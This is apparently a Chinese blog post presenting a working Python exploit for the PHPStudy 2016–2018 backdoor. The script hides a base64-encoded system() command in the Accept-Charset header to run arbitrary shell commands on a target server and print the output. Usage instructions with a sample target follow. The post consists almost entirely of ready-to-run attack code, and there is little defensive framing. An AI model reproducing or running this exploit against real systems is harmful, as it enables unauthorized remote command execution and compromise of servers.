phpstudy_2016-2018_rce

phpstudy_2016-2018_rce

代码

python 复制代码
import base64
import requests
import sys

banner="""
PHPStudy_2016-2018

    ( )                  ( )        ( )                    
    | |_      _ _    ___ | |/')    _| |   _      _    _ __ 
    | '_`\  /'_` ) /'___)| , <   /'_` | /'_`\  /'_`\ ( '__)
    | |_) )( (_| |( (___ | |\`\ ( (_| |( (_) )( (_) )| |   
    (_,__/'`\__,_)`\____)(_) (_)`\__,_)`\___/'`\___/'(_)   

                                                    - Order
Usage: python *.py http://10.9.47.154/phpinfo.php whoami

"""
# 错误时的提示信息


def attack(url,cmd):           # 攻击函数体
    cmd=f"system('{cmd}');"
    # 将命令包装system()
    cmd=base64.b64encode(cmd.encode()).decode()
    # 将命令二进制编码解码以及base64编码
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
        "Accept-Encoding" : "gzip,deflate",
        "Accept-Charset"  : f"{cmd}"
    }
    # 请求头信息
    res=requests.get(url=url,headers=headers)
    html=res.content.decode("GBK")
    # 使用GBK解码
    num=html.find("<!DOCTYPE html")
    # 截取命令回显部分
    result=html[:num].strip()
    return result
try:
    url=sys.argv[1]
    cmd=sys.argv[2]
    # 获取两个变量值
    attack(url,cmd)
except:
    print(banner)
    # 错误时输出banner
else:
    print(attack(url,cmd))

使用方法

复制代码
python 文件名.py 目标页面url 执行的命令
例如
python attack.py http://10.9.47.154/phpinfo.php whoami

正确执行时

错误执行时

相关推荐
weixin1997010801628 分钟前
《跨境二手ERP的3种对接模式:自研API / SaaS中间件 / 平台认证服务商,怎么选?》(附Python源码)
开发语言·python·中间件
B2_Proxy35 分钟前
Python 爬虫代理中间件开发:统一处理 403、429 与自动重试机制
python
学代码的CJY37 分钟前
Python序列类型详解
python
529宝宝起名网40 分钟前
用 Python 爬取古籍文献中的名字用例数据库:从二十四史到诗词文集的历史名字采集与分析
python
hz567897 小时前
音视频 SDK在行政执法的应用方案:实现执法全过程音视频留痕
安全·实时音视频·信息与通信
凤山老林8 小时前
聊聊企业级 API 安全:Spring Boot 落地 OAuth 2.1、mTLS 与接口签名防篡改
spring boot·后端·安全·oauth
颜颜yan_8 小时前
ESP-IDF 鸿蒙 PC 适配全记录:打通 Python、构建工具链与 ESP32-P4 固件生成
python·华为·harmonyos
言乐68 小时前
Python加速器4跨境网络加速器
运维·服务器·开发语言·网络·python
weixin_440730508 小时前
线程02-并发串行-互斥锁-Semaphore-Event
python·thread
天山@1239 小时前
PHP代码审计实验记录
网络安全·php·php代码审计